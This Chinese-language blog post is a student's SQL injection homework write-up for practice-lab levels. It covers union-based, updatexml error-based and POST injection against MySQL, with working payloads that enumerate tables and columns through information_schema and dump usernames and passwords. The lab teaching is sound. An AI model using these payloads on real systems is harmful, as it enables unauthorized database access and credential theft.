Sql注入第一次作业

查询步骤:闭合-注释符-查询数据库-查询表-查询字段 

第一关:联合查询

提示请输入你的id:

首先sql注入输入的数据都是合理的查询语句。产生原因是由于没有对用户的输入做过滤,导致意外的查询语句进入到了程序中,查询到了本不应该查询到的数据。

尝试闭合,加上   '   后可以发现报错,说明闭合成功,再加入注释符号,使后面的程序不生效,mysql的注释符号有三种:--空格   #   /***/  ;使用--+ 的原因是,在url中,+ 会被解析为空格,而直接加空格会被忽略;

接下来就可以构造查询语句:

首先查询表的列数:使用  order by 排序,默认正序,在使用4排序时报错,说明表只有3个(一个一个试)

使用联合查询:用select查询前三个字段,目的是为了知道哪几个字段在前端显示,这样我们可以将想要查询的数据将前端显示的字段替换掉;id为-1,是因为源码只显示一列,所以让id为假,就可以显示第二列;最终目的是找到管理员密码和账号;

?id=-1' union select 1,2,3 --+

 查询database()可以看到当前是security库,

?id=-1' union select 1,database(),3 --+

   mysql5.0以上的版本有information_schema库,information_schema库中有我们所需要的表名与库名。我们先查询security数据库中的所有表的名字,并以一行输出的方式输出,因为如果不一行输出的话,前端只会显示查询的第一个表名。

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

 现在我们知道了security数据库中的所有表名,我们需要查询password和username,通常情况下这些数据都会存储到users中,所以我们现在查询users这个表中的所有字段的名字是什么。 

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
 

可以看到users表下有username,password, 

?id=-1' union select 1,2,group_concat( username,id,password) from users --+

第五关:报错注入

第五关没有发现显示位,但是有报错信息,尝试使用报错注入

尝试跟第一关一样直接查发现显示 ,0x7e 的意思是 ~

?id=1' and updatexml(1,concat(0x7e,(select username password from users)),1)--+

 

 因为updatexml有限制,只显示32位,所以只能使用substr截取32位显示,使用group_concat函数将输出的数据连接起来显示 

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32),0x7e),1)--+

第十一关:POST注入、无限制 

先尝试加 ’  

和前面的注入一样有报错信息 ,因为不使用url注入,所以将 --+ 改为 #

a'and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32),0x7e),1)#

 

  • 15
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值